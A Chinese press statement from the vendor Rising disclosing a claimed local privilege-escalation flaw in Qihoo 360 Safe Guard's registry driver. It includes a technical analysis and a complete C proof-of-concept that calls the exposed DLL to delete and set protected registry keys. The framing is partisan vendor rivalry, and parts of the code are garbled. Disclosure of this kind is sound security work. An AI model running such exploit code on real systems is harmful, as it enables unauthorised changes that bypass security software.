2月1日,有网友在百度知道搜索发现,奇虎360安全卫士存在本地提权漏洞,经瑞星互联网攻防实验室验证确认,该漏洞确实存在,并影响360安全卫士全部版本。该漏洞在2009年11月曝出后,在长达3个月的时间内,奇虎360未作出任何反应。据专家分析,该漏洞与近期被炒作的“瑞星漏洞”同属于本地提权漏洞范围。
而波兰安全组织NT Internals在网页上也确认了此漏洞,而且用红字标出奇虎360 的公司名称(http://www.ntinternals.org/advisory.php)。据专家介绍,该漏洞与“瑞星漏洞”性质相似,均属于本地提权漏洞,由于本地提权漏洞只能在用户本地执行,所以黑客应用漏洞进行攻击的范围将受到很大限制,到目前为止还未出现实际攻击案例。
由于360漏洞会使黑客任意修改注册表,所以不排除被黑客开后门,进一步利用的可能性。此漏洞与“瑞星漏洞”相比,影响的后果将更加严重。
瑞星公司呼吁,相关安全厂商应摒弃不正当的市场竞争手段,避免将以前流氓插件恶性竞争的方式引入到安全软件市场中,尊重用户的知情权,尊重媒体的正当报道权,不要利用恶意歪曲事实的方式来赢得媒体注意力,吸引用户眼球。
漏洞涉及360安全卫士的两个核心文件:bregdrv.sys和bregdll.dll,这两个文件是360安全卫士为绕过其他杀毒软件和操作系统的安全监控机制,在用户电脑中安装的可以任意修改注册表的“后门程序”。理论上,由于漏洞运行在系统最高权限级,并且360没有对后门调用者进行任何安全性检查,从而导致黑客可以利用任意方式进行攻击,包括各类木马病毒、蠕虫病毒和感染型病毒。
附1:360本地提权后门漏洞详细分析报告
360安全卫士全部版本会在安装过程中在用户系统上安装一个注册表操作后门程序,该后门可以绕过操作系统的安全检查机制任意操作(设置、删除等)用户的注册表。由于该程序没有对调用者进行检查,导致任意程序(如各种木马程序等)可以通过该后门任意操作(设置、删除等)用户的注册表系统。
该后门包括两个文件:
1.bregdrv.sys:内核模式驱动,该驱动程序通过调用操作系统的未公开CmXxx系列函数来操作注册表,另外由于操作系统内部本身维护了很多同步数据、缓存数据,直接调用CmXxx系列函数操作注册表极有可能造成系统内部数据不同步,严重影响系统安全性,甚至可能导致用户正常数据丢失;
2.bregdll.dll:用户态动态库,该动态库封装了对bregdrv.sys的调用,为用户态程序提供注册表操作
后门的接口;
1、bregdrv.sys
处理IoControl:
通过CmDeleteKey实现注册表键值的删除操作:
2、bregdll.dll
BRegDeleteKeyW函数中调用驱动的0x7be2058号IoControl实现删除注册表键值操作:
附2:后门利用程序
#include
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;
#define AppPath"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"
#define TestDeleteKeyHKEY_LOCAL_MACHINE
#define TestDeleteRegPath"Software\\360Safe\\Update"
#define TestSetKeyHKEY_LOCAL_MACHINE
#define TestSetPath"Software\\360Safe"
BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;
CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;
lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;
DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;
strcat(cPath, "\\deepscan\\BREGDLL.dll");
HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;
INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");
if (!InitRegEngine !BRegDeleteKey !BRegOpenKey !BRegCloseKey !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}
if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}
return TRUE;
}
LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;
lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;
DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);
return lResult;
}
int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
return 1;
}
if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
return 2;
}
if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
return 3;
}
MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
return 0;
}